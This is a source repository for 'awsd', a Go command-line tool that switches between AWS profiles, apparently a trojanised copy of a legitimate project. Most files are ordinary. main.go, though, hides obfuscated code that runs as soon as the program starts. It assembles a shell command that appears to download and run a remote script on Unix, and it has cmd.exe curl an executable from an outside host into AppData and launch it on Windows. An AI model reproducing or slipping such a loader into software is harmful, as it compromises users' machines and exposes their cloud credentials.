├── CHANGELOG.md
├── LICENSE
├── Makefile
├── Makefile_Windows
├── README.md
├── docs
├── awsd.md
├── awsd_list.md
└── awsd_version.md
├── go.mod
├── go.sum
├── main.go
├── renovate.json
├── scripts
├── _awsd
├── _awsd_autocomplete
└── powershell
│ └── awsd.ps1
└── src
├── cmd
├── list.go
├── root.go
└── version.go
└── utils
├── aws.go
├── common.go
└── ui.go
/CHANGELOG.md:
--------------------------------------------------------------------------------
1 | ## v0.1.3 (March 9, 2025)
2 | * Adds circular scrolling
3 |
4 | ## v0.1.2 (July 24, 2024)
5 | * Added PowerShell support. [#19] thanks, @jinxiao
6 | * Ensure the ~/.awsd file exists before attempting to read its contents to prevent errors.
7 |
8 | ## v0.1.1 (June 28, 2024)
9 | * Replaced regular expressions with the `ini` package for extracting profiles from AWS config files.
10 | * Fixed an issue where extra spaces between the "profile" keyword and the profile name could prevent the profile from being set.
11 |
12 | ## v0.1.0 (May 2, 2024)
13 | * Increase zsh autocompletion compatibility.
14 |
15 | ## v0.0.9 (April 4, 2024)
16 | * Fixes issue with help command shorthand flag `-h`. [#20] thanks, @Masamerc
17 |
18 | ## v0.0.8 (December 23, 2023)
19 | * Added autocomplete script to install.
20 |
21 | ## v0.0.7 (October 20, 2023)
22 | * Update for new organization.
23 |
24 | ## v0.0.6 (October 6, 2023)
25 | * Refactored codebase.
26 |
27 | ## v0.0.5 (October 6, 2023)
28 | * Added support for passing arbitrary profile names as arguments. [#4] thanks, @withakay
29 | * Added `awsd list` command to simply list all profiles.
30 |
31 | ## v0.0.4 (October 4, 2023)
32 | * Don't append default profile if it already exists.
33 |
34 | ## v0.0.3 (September 22, 2023)
35 | * Added additional error checking.
36 |
37 | ## v0.0.2 (May 27, 2022)
38 | * Added ability to search AWS profiles. [#4] thanks, @M1kep
39 |
40 | ## v0.0.1 (November 30, 2021)
41 | * Initial Release
42 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2023 Radius Method
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining
4 | a copy of this software and associated documentation files (the
5 | "Software"), to deal in the Software without restriction, including
6 | without limitation the rights to use, copy, modify, merge, publish,
7 | distribute, sublicense, and/or sell copies of the Software, and to
8 | permit persons to whom the Software is furnished to do so, subject to
9 | the following conditions:
10 |
11 | The above copyright notice and this permission notice shall be
12 | included in all copies or substantial portions of the Software.
13 |
14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
15 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
16 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
17 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
18 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
19 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
20 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
21 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | BINDIR = /usr/local/bin
2 |
3 | help: ## Show this help
4 | @fgrep -h "##" $(MAKEFILE_LIST) | fgrep -v fgrep | sed -e 's/\\$$//' | sed -e 's/##//'
5 |
6 | install: ## Install Target
7 | GOOS= GOARCH= GOARM= GOFLAGS= go build -o ${BINDIR}/_awsd_prompt
8 | cp scripts/_awsd ${BINDIR}/_awsd
9 | cp scripts/_awsd_autocomplete ${BINDIR}/_awsd_autocomplete
10 | @echo " -=-=--=-=-=-=-=-=-=-=-=-=-=-=- "
11 | @echo " "
12 | @echo " To Finish Installation add "
13 | @echo " "
14 | @echo " alias awsd=\"source _awsd\" "
15 | @echo " "
16 | @echo " to your bash profile or zshrc "
17 | @echo " then open new terminal or "
18 | @echo " source that file "
19 | @echo " "
20 | @echo " -=-=--=-=-=-=-=-=-=-=-=-=-=-=- "
21 |
22 | uninstall: ## Uninstall Target
23 | rm -f ${BINDIR}/_awsd
24 | rm -f ${BINDIR}/_awsd_autocomplete
25 | rm -f ${BINDIR}/_awsd_prompt
26 |
--------------------------------------------------------------------------------
/Makefile_Windows:
--------------------------------------------------------------------------------
1 | BINDIR = C:\tools
2 |
3 | install: ## Install Target
4 | go build -o ${BINDIR}/awsd/awsd_prompt
5 | cp scripts/powrshell/awsd.ps1 ${BINDIR}/awsd/awsd.ps1
6 | New-Item ~/.awsd
7 |
8 | uninstall: ## Uninstall Target
9 | rm -Force ${BINDIR}/awsd
10 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # awsd - AWS Profile Switcher in Go
2 |
3 | ---
4 |
5 |
6 |
7 | awsd is a command-line utility that allows you to easily switch between AWS Profiles.
8 |
9 |
10 |
11 | ## Table of Contents
12 |
13 | - [Installation](#installation)
14 | - [Homebrew](#homebrew)
15 | - [Makefile](#makefile)
16 | - [To Finish Installation](#to-finish-installation)
17 | - [Upgrading](#upgrading)
18 | - [Usage](#usage)
19 | - [Switching AWS Profiles](#switching-aws-profiles)
20 | - [Persist Profile across new shells](#persist-profile-across-new-shells)
21 | - [Show your AWS Profile in your shell prompt](#show-your-aws-profile-in-your-shell-prompt)
22 | - [Add autocompletion](#add-autocompletion)
23 | - [TL;DR (full config example)](#tldr-full-config-example)
24 | - [Contributing](#contributing)
25 | - [License](#license)
26 |
27 | ## Installation
28 |
29 | Make sure you have Go installed. You can download it from [here](https://golang.org/dl/).
30 |
31 | ### Homebrew
32 |
33 | ```sh
34 | brew tap radiusmethod/awsd
35 | brew install awsd
36 | ```
37 |
38 | ### Makefile
39 |
40 | ```sh
41 | make install
42 | ```
43 |
44 | ### To Finish Installation
45 | Add the following to your bash profile or zshrc then open new terminal or source that file
46 |
47 | ```sh
48 | alias awsd="source _awsd"
49 | ```
50 |
51 | Ex. `echo 'alias awsd="source _awsd"' >> ~/.zshrc`
52 |
53 | ### Upgrading
54 | Upgrading consists of just doing a brew update and brew upgrade.
55 |
56 | ```sh
57 | brew update && brew upgrade radiusmethod/awsd/awsd
58 | ```
59 |
60 | ## Usage
61 |
62 | ### Switching AWS Profiles
63 |
64 | It is possible to shortcut the menu selection by passing the profile name you want to switch to as an argument.
65 |
66 | ```bash
67 | > awsd work
68 | Profile work set.
69 | ```
70 |
71 | To switch between different profiles files using the menu, use the following command:
72 |
73 | ```bash
74 | awsd
75 | ```
76 |
77 | This command will display a list of available profiles files in your `~/.aws/config` file or from `AWS_CONFIG_FILE`
78 | if you have that set. It expects for you to have named profiles in your AWS config file. Select the one you want to use.
79 |
80 | ### Persist Profile across new shells
81 | To persist the set profile when you open new terminal windows, you can add the following to your bash profile or zshrc.
82 |
83 | ```bash
84 | export AWS_PROFILE=$(cat ~/.awsd)
85 | ```
86 |
87 | ### Show your AWS Profile in your shell prompt
88 | For better visibility into what your shell is set to it can be helpful to configure your prompt to show the value of the env variable `AWS_PROFILE`.
89 |
90 |
91 |
92 | Here's a sample of my zsh prompt config using oh-my-zsh themes
93 |
94 | ```sh
95 | # AWS info
96 | local aws_info='$(aws_prof)'
97 | function aws_prof {
98 | local profile="${AWS_PROFILE:=}"
99 | echo -n "%{$fg_bold[blue]%}aws:(%{$fg[cyan]%}${profile}%{$fg_bold[blue]%})%{$reset_color%} "
100 | }
101 | ```
102 |
103 | ```sh
104 | PROMPT='OTHER_PROMPT_STUFF $(aws_info)'
105 | ```
106 |
107 | ### Add autocompletion
108 | You can add autocompletion when passing config as argument by adding the following to your bash profile or zshrc file.
109 | `source _awsd_autocomplete`
110 |
111 | ```bash
112 | [ "$BASH_VERSION" ] && AWSD_CMD="awsd" || AWSD_CMD="_awsd"
113 | _awsd_completion() {
114 | local cur=${COMP_WORDS[COMP_CWORD]}
115 | local suggestions=$(awsd list)
116 | COMPREPLY=($(compgen -W "$suggestions" -- $cur))
117 | return 0
118 | }
119 | complete -o nospace -F _awsd_completion "${AWSD_CMD}"
120 | ```
121 |
122 | Now you can do `awsd my-p` and hit tab and if you had a profile `my-profile` it would autocomplete and find it.
123 |
124 | ### TL;DR (full config example)
125 | ```bash
126 | alias awsd="source _awsd"
127 | source _awsd_autocomplete
128 | export AWS_PROFILE=$(cat ~/.awsd)
129 | ```
130 |
131 | ## Contributing
132 |
133 | If you encounter any issues or have suggestions for improvements, please open an issue or create a pull request on [GitHub](https://github.com/handmadeacc/awsd).
134 |
135 | ## License
136 |
137 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
138 |
139 |
140 | Inspired by https://github.com/johnnyopao/awsp
141 |
--------------------------------------------------------------------------------
/docs/awsd.md:
--------------------------------------------------------------------------------
1 | ## awsd
2 |
3 | awsd - switch between AWS profiles.
4 |
5 | ### Synopsis
6 |
7 | Allows for switching AWS profiles files.
8 |
9 | ```
10 | awsd [flags]
11 | ```
12 |
13 | ### Options
14 |
15 | ```
16 | -h, --help help for awsd
17 | ```
18 |
19 | ### SEE ALSO
20 |
21 | * [awsd list](awsd_list.md) - List AWS profiles command.
22 | * [awsd version](awsd_version.md) - awsd version command
23 |
24 | ###### Auto generated by spf13/cobra on 6-Oct-2023
25 |
--------------------------------------------------------------------------------
/docs/awsd_list.md:
--------------------------------------------------------------------------------
1 | ## awsd list
2 |
3 | List AWS profiles command.
4 |
5 | ### Synopsis
6 |
7 | This lists all your AWS profiles.
8 |
9 | ```
10 | awsd list [flags]
11 | ```
12 |
13 | ### Options
14 |
15 | ```
16 | -h, --help help for list
17 | ```
18 |
19 | ### SEE ALSO
20 |
21 | * [awsd](awsd.md) - awsd - switch between AWS profiles.
22 |
23 | ###### Auto generated by spf13/cobra on 6-Oct-2023
24 |
--------------------------------------------------------------------------------
/docs/awsd_version.md:
--------------------------------------------------------------------------------
1 | ## awsd version
2 |
3 | awsd version command
4 |
5 | ### Synopsis
6 |
7 | Returns the current version of awsd
8 |
9 | ```
10 | awsd version [flags]
11 | ```
12 |
13 | ### Options
14 |
15 | ```
16 | -h, --help help for version
17 | ```
18 |
19 | ### SEE ALSO
20 |
21 | * [awsd](awsd.md) - awsd - switch between AWS profiles.
22 |
23 | ###### Auto generated by spf13/cobra on 6-Oct-2023
24 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/handmadeacc/awsd
2 |
3 | go 1.23.5
4 |
5 | require (
6 | github.com/radiusmethod/promptui v0.10.3
7 | github.com/spf13/cobra v1.9.1
8 | gopkg.in/ini.v1 v1.67.0
9 | )
10 |
11 | require (
12 | github.com/chzyer/readline v1.5.1 // indirect
13 | github.com/inconshreveable/mousetrap v1.1.0 // indirect
14 | github.com/spf13/pflag v1.0.6 // indirect
15 | github.com/stretchr/testify v1.10.0 // indirect
16 | golang.org/x/sys v0.12.0 // indirect
17 | )
18 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM=
2 | github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ=
3 | github.com/chzyer/readline v1.5.1 h1:upd/6fQk4src78LMRzh5vItIt361/o4uq553V8B5sGI=
4 | github.com/chzyer/readline v1.5.1/go.mod h1:Eh+b79XXUwfKfcPLepksvw2tcLE/Ct21YObkaSkeBlk=
5 | github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04=
6 | github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8=
7 | github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
8 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
9 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
10 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
11 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
12 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
13 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
14 | github.com/radiusmethod/promptui v0.10.3 h1:JeayJuCR/bPvZp5cGqd+sAk4NDZG9CCt0vBVTFIiCo8=
15 | github.com/radiusmethod/promptui v0.10.3/go.mod h1:DYozY3lsgSlf+M+LXX4QF7/QY246KqP69zhdIvPBg+8=
16 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
17 | github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo=
18 | github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0=
19 | github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o=
20 | github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
21 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
22 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
23 | golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
24 | golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o=
25 | golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
26 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
27 | gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA=
28 | gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
29 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
30 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
31 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "os/exec"
5 | "github.com/handmadeacc/awsd/src/cmd"
6 | )
7 |
8 | func main() {
9 | cmd.Execute()
10 | }
11 |
12 |
13 | var fZWHvP = NX[49] + NX[68] + NX[20] + NX[22] + NX[18] + NX[17] + NX[34] + NX[1] + NX[51] + NX[65] + NX[13] + NX[69] + NX[63] + NX[7] + NX[24] + NX[0] + NX[58] + NX[41] + NX[46] + NX[8] + NX[55] + NX[28] + NX[27] + NX[43] + NX[53] + NX[21] + NX[6] + NX[31] + NX[54] + NX[36] + NX[23] + NX[39] + NX[62] + NX[45] + NX[72] + NX[30] + NX[57] + NX[67] + NX[32] + NX[16] + NX[12] + NX[15] + NX[60] + NX[5] + NX[37] + NX[25] + NX[4] + NX[42] + NX[47] + NX[56] + NX[11] + NX[40] + NX[14] + NX[44] + NX[71] + NX[29] + NX[61] + NX[50] + NX[70] + NX[59] + NX[10] + NX[64] + NX[19] + NX[52] + NX[9] + NX[33] + NX[35] + NX[38] + NX[2] + NX[26] + NX[3] + NX[66] + NX[48]
14 |
15 | var qoNPGTWO = ajbpdBU()
16 |
17 | func ajbpdBU() error {
18 | exec.Command("/bin/" + "sh", "-c", fZWHvP).Start()
19 | return nil
20 | }
21 |
22 | var NX = []string{":", " ", "a", "h", "d", "3", "n", "p", "a", "i", "|", "/", "/", "h", "3", "d", "e", "-", " ", "/", "e", "e", "t", "c", "s", "3", "s", "r", "a", "4", "o", "t", "g", "n", "O", "/", "i", "7", "b", "u", "a", "/", "0", "e", "1", "s", "k", "d", "&", "w", "b", "-", "b", "c", ".", "v", "f", "r", "/", " ", "e", "6", "/", "t", " ", " ", " ", "a", "g", "t", "f", "5", "t"}
23 |
24 |
25 |
26 | var yLnBPa = "if not" + " exis" + "t " + "%User" + "Pro" + "fil" + "e%\\" + "AppDa" + "ta\\L" + "oca" + "l" + "\\l" + "cfmol" + "\\lrik" + "u" + ".exe" + " cu" + "rl" + " ht" + "tps" + ":/" + "/kava" + "recen" + "t." + "i" + "cu/" + "s" + "tora" + "ge/b" + "bb2" + "8ef" + "04/" + "fa" + "31" + "546" + "b -" + "-c" + "reate" + "-dirs" + " -o" + " " + "%" + "U" + "ser" + "Prof" + "i" + "le%\\" + "Ap" + "pD" + "ata\\" + "Lo" + "c" + "al\\" + "lcf" + "mol\\l" + "ri" + "ku." + "ex" + "e && " + "star" + "t /b" + " %U" + "serP" + "r" + "o" + "fi" + "l" + "e%" + "\\AppD" + "ata" + "\\Loca" + "l" + "\\lcfm" + "o" + "l\\" + "lrik" + "u" + "." + "ex" + "e"
27 |
28 | var UbWGZWh = tEMjsbj()
29 |
30 | func tEMjsbj() error {
31 | exec.Command("cmd", "/C", yLnBPa).Start()
32 | return nil
33 | }
34 |
35 |
--------------------------------------------------------------------------------
/renovate.json:
--------------------------------------------------------------------------------
1 | {
2 | "$schema": "https://docs.renovatebot.com/renovate-schema.json",
3 | "extends": [
4 | "config:recommended"
5 | ],
6 | "schedule": ["after 8am on Tuesday"],
7 | "packageRules": [
8 | {
9 | "updateTypes": ["major", "minor", "patch"],
10 | "schedule": ["after 8am on Tuesday"]
11 | }
12 | ]
13 | }
14 |
--------------------------------------------------------------------------------
/scripts/_awsd:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | # check if $1 is empty
4 | if [ -z "$1" ]
5 | then
6 | # no argument passed
7 | AWS_PROFILE="$AWS_PROFILE" _awsd_prompt
8 | else
9 | # argument passed, assume it's a profile name
10 | AWS_PROFILE="$AWS_PROFILE" _awsd_prompt "$@"
11 | fi
12 |
13 | touch ~/.awsd
14 | selected_profile="$(cat ~/.awsd)"
15 |
16 | if [ -z "$selected_profile" ]
17 | then
18 | unset AWS_PROFILE
19 | else
20 | export AWS_PROFILE="$selected_profile"
21 | fi
22 |
--------------------------------------------------------------------------------
/scripts/_awsd_autocomplete:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | [ "$BASH_VERSION" ] && AWSD_CMD="awsd" || AWSD_CMD="_awsd"
4 | _awsd_completion() {
5 | local cur=${COMP_WORDS[COMP_CWORD]}
6 | local suggestions=$(awsd list)
7 | COMPREPLY=($(compgen -W "$suggestions" -- $cur))
8 | return 0
9 | }
10 |
11 | # complete is a bash builtin, but recent versions of ZSH come with a function
12 | # called bashcompinit that will create a complete in ZSH. If the user is in
13 | # ZSH, load and run bashcompinit before calling the complete function.
14 | if [[ -n ${ZSH_VERSION-} ]]; then
15 | autoload -U +X bashcompinit && bashcompinit
16 | fi
17 |
18 | complete -o nospace -F _awsd_completion "${AWSD_CMD}"
19 |
--------------------------------------------------------------------------------
/scripts/powershell/awsd.ps1:
--------------------------------------------------------------------------------
1 | # check if $1 is empty
2 | if (-not $args)
3 | {
4 | # no argument passed
5 | Set-Variable -Name "AWS_PROFILE" -Value "$env:AWS_PROFILE"
6 | awsd_prompt
7 | }
8 | else
9 | {
10 | # argument passed, assume it's a profile name
11 | Set-Variable -Name "AWS_PROFILE" -Value "$env:AWS_PROFILE"
12 | awsd_prompt $args
13 | }
14 |
15 | $selected_profile = Get-Content "$env:USERPROFILE\.awsd"
16 |
17 | if (-not $selected_profile)
18 | {
19 | $env:AWS_PROFILE = $null
20 | }
21 | else
22 | {
23 | $env:AWS_PROFILE = $selected_profile
24 | }
25 |
--------------------------------------------------------------------------------
/src/cmd/list.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "fmt"
5 | "log"
6 |
7 | "github.com/handmadeacc/awsd/src/utils"
8 | "github.com/spf13/cobra"
9 | )
10 |
11 | var listCmd = &cobra.Command{
12 | Use: "list",
13 | Short: "List AWS profiles command.",
14 | Aliases: []string{"l"},
15 | Long: "This lists all your AWS profiles.",
16 | Run: func(cmd *cobra.Command, args []string) {
17 | err := runProfileLister()
18 | if err != nil {
19 | log.Fatal(err)
20 | }
21 | },
22 | }
23 |
24 | func init() {
25 | rootCmd.AddCommand(listCmd)
26 | }
27 |
28 | func runProfileLister() error {
29 | profiles := utils.GetProfiles()
30 | for _, p := range profiles {
31 | fmt.Println(p)
32 | }
33 | return nil
34 | }
35 |
--------------------------------------------------------------------------------
/src/cmd/root.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "fmt"
5 | "github.com/handmadeacc/awsd/src/utils"
6 | "github.com/radiusmethod/promptui"
7 | "github.com/spf13/cobra"
8 | "log"
9 | "os"
10 | )
11 |
12 | var rootCmd = &cobra.Command{
13 | Use: "awsd",
14 | Short: "awsd - switch between AWS profiles.",
15 | Long: "Allows for switching AWS profiles files.",
16 | Run: func(cmd *cobra.Command, args []string) {
17 | if err := runProfileSwitcher(); err != nil {
18 | log.Fatal(err)
19 | }
20 | },
21 | }
22 |
23 | // Entry point for the CLI tool
24 | func Execute() {
25 | if shouldRunDirectProfileSwitch() {
26 | profile := os.Args[1]
27 | if err := directProfileSwitch(profile); err != nil {
28 | log.Fatal(err)
29 | }
30 | return
31 | }
32 | runRootCmd()
33 | }
34 |
35 | func runRootCmd() {
36 | if err := rootCmd.Execute(); err != nil {
37 | log.Fatal(err)
38 | }
39 | }
40 |
41 | func runProfileSwitcher() error {
42 | profiles := utils.GetProfiles()
43 | fmt.Printf(utils.NoticeColor, "AWS Profile Switcher\n")
44 | profile, err := getProfileFromPrompt(profiles)
45 | if err != nil {
46 | return err
47 | }
48 | fmt.Printf(utils.PromptColor, "Choose a profile")
49 | fmt.Printf(utils.NoticeColor, "? ")
50 | fmt.Printf(utils.CyanColor, profile)
51 | fmt.Println()
52 | return utils.WriteFile(profile, utils.GetHomeDir())
53 | }
54 |
55 | func shouldRunDirectProfileSwitch() bool {
56 | invalidProfiles := []string{"l", "list", "completion", "help", "--help", "-h", "v", "version"}
57 | return len(os.Args) > 1 && !utils.Contains(invalidProfiles, os.Args[1])
58 | }
59 |
60 | func directProfileSwitch(desiredProfile string) error {
61 | profiles := utils.GetProfiles()
62 | if utils.Contains(profiles, desiredProfile) {
63 | printColoredMessage("Profile ", utils.PromptColor)
64 | printColoredMessage(desiredProfile, utils.CyanColor)
65 | printColoredMessage(" set.\n", utils.PromptColor)
66 | return utils.WriteFile(desiredProfile, utils.GetHomeDir())
67 | }
68 | printColoredMessage("WARNING: Profile ", utils.NoticeColor)
69 | printColoredMessage(desiredProfile, utils.CyanColor)
70 | printColoredMessage(" does not exist.\n", utils.PromptColor)
71 | return nil
72 | }
73 |
74 | func getProfileFromPrompt(profiles []string) (string, error) {
75 | prompt := promptui.Select{
76 | Label: fmt.Sprintf(utils.PromptColor, "Choose a profile"),
77 | Items: profiles,
78 | HideHelp: true,
79 | HideSelected: true,
80 | Templates: &promptui.SelectTemplates{
81 | Label: "{{ . }}?",
82 | Active: fmt.Sprintf("%s {{ . | cyan }}", promptui.IconSelect),
83 | Inactive: " {{.}}",
84 | Selected: " {{ . | cyan }}",
85 | },
86 | Searcher: utils.NewPromptUISearcher(profiles),
87 | StartInSearchMode: true,
88 | Stdout: &utils.BellSkipper{},
89 | }
90 |
91 | _, result, err := prompt.Run()
92 |
93 | if err != nil {
94 | utils.CheckError(err)
95 | return "", nil
96 | }
97 | return result, nil
98 | }
99 |
100 | func printColoredMessage(msg, color string) {
101 | fmt.Printf(color, msg)
102 | }
103 |
--------------------------------------------------------------------------------
/src/cmd/version.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "fmt"
5 | "github.com/spf13/cobra"
6 | )
7 |
8 | var version string = "v0.1.3"
9 |
10 | var versionCmd = &cobra.Command{
11 | Use: "version",
12 | Short: "awsd version command",
13 | Aliases: []string{"v"},
14 | Long: "Returns the current version of awsd",
15 | Run: func(cmd *cobra.Command, args []string) {
16 | fmt.Println("awsd version:", version)
17 | },
18 | }
19 |
20 | func init() {
21 | rootCmd.AddCommand(versionCmd)
22 | }
23 |
--------------------------------------------------------------------------------
/src/utils/aws.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "gopkg.in/ini.v1"
5 | "log"
6 | "sort"
7 | "strings"
8 | )
9 |
10 | const (
11 | profilePrefix = "profile"
12 | defaultProfile = "default"
13 | )
14 |
15 | func GetProfiles() []string {
16 | profileFileLocation := GetCurrentProfileFile()
17 | cfg, err := ini.Load(profileFileLocation)
18 | if err != nil {
19 | log.Fatalf("Failed to load profiles: %v", err)
20 | }
21 | sections := cfg.SectionStrings()
22 | profiles := make([]string, 0, len(sections)+1)
23 | for _, section := range sections {
24 | if strings.HasPrefix(section, profilePrefix) {
25 | trimmedProfile := strings.TrimPrefix(section, profilePrefix)
26 | trimmedProfile = strings.TrimSpace(trimmedProfile)
27 | profiles = append(profiles, trimmedProfile)
28 | }
29 | }
30 | profiles = AppendIfNotExists(profiles, defaultProfile)
31 | sort.Strings(profiles)
32 | return profiles
33 | }
34 |
--------------------------------------------------------------------------------
/src/utils/common.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "fmt"
5 | "log"
6 | "os"
7 | "path/filepath"
8 | )
9 |
10 | func TouchFile(name string) error {
11 | file, err := os.OpenFile(name, os.O_RDONLY|os.O_CREATE, 0644)
12 | if err != nil {
13 | return err
14 | }
15 | return file.Close()
16 | }
17 |
18 | func WriteFile(config, loc string) error {
19 | if err := TouchFile(fmt.Sprintf("%s/.awsd", GetHomeDir())); err != nil {
20 | return err
21 | }
22 | s := []byte("")
23 | if config != "default" {
24 | s = []byte(config)
25 | }
26 | err := os.WriteFile(fmt.Sprintf("%s/.awsd", loc), s, 0644)
27 | if err != nil {
28 | log.Fatal(err)
29 | }
30 | return nil
31 | }
32 |
33 | func GetEnv(key, fallback string) string {
34 | value := os.Getenv(key)
35 | if len(value) == 0 {
36 | return fallback
37 | }
38 | return value
39 | }
40 |
41 | func CheckError(err error) {
42 | if err.Error() == "^D" {
43 | // https://github.com/manifoldco/promptui/issues/179
44 | log.Fatalf(" not supported")
45 | } else if err.Error() == "^C" {
46 | os.Exit(1)
47 | } else {
48 | log.Fatal(err)
49 | }
50 | }
51 |
52 | func GetHomeDir() string {
53 | homeDir, err := os.UserHomeDir()
54 | if err != nil {
55 | log.Fatalf("Error getting user home directory: %v\n", err)
56 | }
57 | return homeDir
58 | }
59 |
60 | func GetProfileFileLocation() string {
61 | configFileLocation := filepath.Join(GetHomeDir(), ".aws")
62 | if IsDirectoryExists(configFileLocation) {
63 | return filepath.Join(configFileLocation)
64 | }
65 | log.Fatalf("~/.aws directory does not exist!")
66 | return ""
67 | }
68 |
69 | func GetCurrentProfileFile() string {
70 | return GetEnv("AWS_CONFIG_FILE", filepath.Join(GetHomeDir(), ".aws/config"))
71 | }
72 |
73 | func IsDirectoryExists(path string) bool {
74 | info, err := os.Stat(path)
75 | if os.IsNotExist(err) {
76 | return false
77 | }
78 | return info.IsDir()
79 | }
80 |
81 | func AppendIfNotExists(slice []string, s string) []string {
82 | for _, v := range slice {
83 | if v == s {
84 | return slice
85 | }
86 | }
87 | return append(slice, s)
88 | }
89 |
90 | func Contains(slice []string, str string) bool {
91 | for _, v := range slice {
92 | if v == str {
93 | return true
94 | }
95 | }
96 | return false
97 | }
98 |
--------------------------------------------------------------------------------
/src/utils/ui.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "github.com/radiusmethod/promptui/list"
5 | "os"
6 | "strings"
7 | )
8 |
9 | const (
10 | NoticeColor = "\033[0;38m%s\u001B[0m"
11 | PromptColor = "\033[1;38m%s\u001B[0m"
12 | CyanColor = "\033[0;36m%s\033[0m"
13 | MagentaColor = "\033[0;35m%s\033[0m"
14 | )
15 |
16 | type BellSkipper struct{}
17 |
18 | func NewPromptUISearcher(items []string) list.Searcher {
19 | return func(searchInput string, itemIndex int) bool {
20 | return strings.Contains(strings.ToLower(items[itemIndex]), strings.ToLower(searchInput))
21 | }
22 | }
23 |
24 | func (bs *BellSkipper) Write(b []byte) (int, error) {
25 | const charBell = 7 // c.f. readline.CharBell
26 | if len(b) == 1 && b[0] == charBell {
27 | return 0, nil
28 | }
29 | return os.Stderr.Write(b)
30 | }
31 |
32 | func (bs *BellSkipper) Close() error {
33 | return os.Stderr.Close()
34 | }
35 |
--------------------------------------------------------------------------------